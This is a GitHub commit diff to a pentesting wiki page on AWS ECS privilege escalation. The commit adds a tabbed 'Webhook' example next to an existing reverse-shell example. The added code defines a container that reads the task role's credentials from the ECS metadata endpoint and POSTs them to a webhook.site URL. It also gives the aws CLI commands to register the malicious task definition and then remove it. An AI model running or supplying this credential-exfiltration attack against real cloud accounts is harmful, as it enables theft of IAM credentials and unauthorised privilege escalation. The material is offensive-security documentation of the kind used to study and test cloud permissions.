Skip to content

Commit a50b7ba

Browse files
arte-courtneybell
Added webhook alternative example (tested) to task definition as a new tab
1 parent fe00aa0 commit a50b7ba

1 file changed

Lines changed: 43 additions & 0 deletions

File tree

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@ More **info about ECS** in:
1414

1515
An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
1616

17+
{{#tabs }}
18+
{{#tab name="Reverse Shell" }}
1719
```bash
1820
# Generate task definition with rev shell
1921
aws ecs register-task-definition --family iam_exfiltration \
@@ -34,6 +36,47 @@ aws ecs run-task --task-definition iam_exfiltration \
3436
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
3537
```
3638

39+
{{#endtab }}
40+
41+
{{#tab name="Webhook" }}
42+
43+
Create a webhook with a site like webhook.site
44+
45+
```bash
46+
47+
# Create file container-definition.json
48+
[
49+
{
50+
"name": "exfil_creds",
51+
"image": "python:latest",
52+
"entryPoint": ["sh", "-c"],
53+
"command": [
54+
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
55+
]
56+
}
57+
]
58+
59+
# Run task definition, uploading the .json file
60+
aws ecs register-task-definition \
61+
--family iam_exfiltration \
62+
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
63+
--network-mode "awsvpc" \
64+
--cpu 256 \
65+
--memory 512 \
66+
--requires-compatibilities FARGATE \
67+
--container-definitions file://container-definition.json
68+
69+
# Check the webhook for a response
70+
71+
# Delete task definition
72+
## You need to remove all the versions (:1 is enough if you just created one)
73+
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
74+
75+
```
76+
{{#endtab }}
77+
78+
{{#endtabs }}
79+
3780
**Potential Impact:** Direct privesc to a different ECS role.
3881

3982
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

0 commit comments

Comments
 (0)